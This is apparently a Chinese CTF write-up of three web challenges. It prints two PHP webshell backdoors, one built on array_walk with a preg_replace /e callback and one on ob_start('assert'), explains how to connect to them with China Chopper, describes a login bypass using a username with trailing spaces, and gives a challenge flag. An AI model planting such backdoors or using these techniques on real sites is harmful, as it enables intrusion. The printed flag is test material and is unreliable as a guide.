week 9 for cnas writeup

点击阅读全文

01 50

题目链接

http://47.100.121.220:28001/01.php

解答

1
2
3
4
5
6
7
<?php
show_source(__FILE__);
highlight_file('about.php');
?> <?php
$e = $_REQUEST['a'];
$arr = array($_POST['b'] => '|.*|e',);
array_walk($arr, $e, '');

如上代码,是一个PHP木马。是可以用菜刀连接的。

这里用到array_walk函数

array_walk() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。

1
array_walk(array,myfunction,userdata...)
参数 说明
array 必需。规定数组。
myfunction 必需。用户自定义函数的名称。
userdata,… 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。

网上给的是用assert函数,但是这里用assert不行。然后在学长的提醒下,这里提到|e,

所以可以用preg_replace函数.

如下图构造菜刀连接

或者直接hackbar

02 100

题目链接

http://47.100.121.220:28002/index.php

解答

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
show_source(__FILE__);
echo "</br>";
highlight_file('about.php');
echo "</br>";
highlight_file('echo.php');
?>
<?php
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
//关键缓存每5分钟清理一次。</br>
<?php
include "func.php";
$your_real_ip = real_ip();
$path = "temp/".$your_real_ip."_http_request_history.txt";
$url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
echo $your_real_ip."</br>";
echo $url;
$fout = null;
if(file_exists($path)) {
$fout = fopen($path, "ab") or die("Unable to open file!");
}
else {
$fout = fopen($path, "wb") or die("Unable to open file!");
}
fwrite($fout, $url."\n");
fclose($fout);
?>

这里也提到了一种PHP木马的写法

1
2
3
4
<?php
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();

ob_start(“assert”)的意思设置assert作为ob操作结束时回调函数,

这个PHP木马是没有回显的

但是在给出的echo.php的代码有给出一些提示

这里说到的是temp文件夹是有写的权限的。

所以如下执行

login 100

题目链接

http://47.100.121.220:28003/

解答

这个题目注册完账号登录后会提示你

1
您已登录成功,但只有nari用户才可以看到flag.

这里根本没有任何思路的,然后学长告诉我。

注册nari后加个空格就可以了,我一脸懵逼。他也不知道为什么?

所以我注册nari加两个空格进去了,拿到flag。

1
flag{a3afa127cfb57f423c7bc019587031020a2ce630}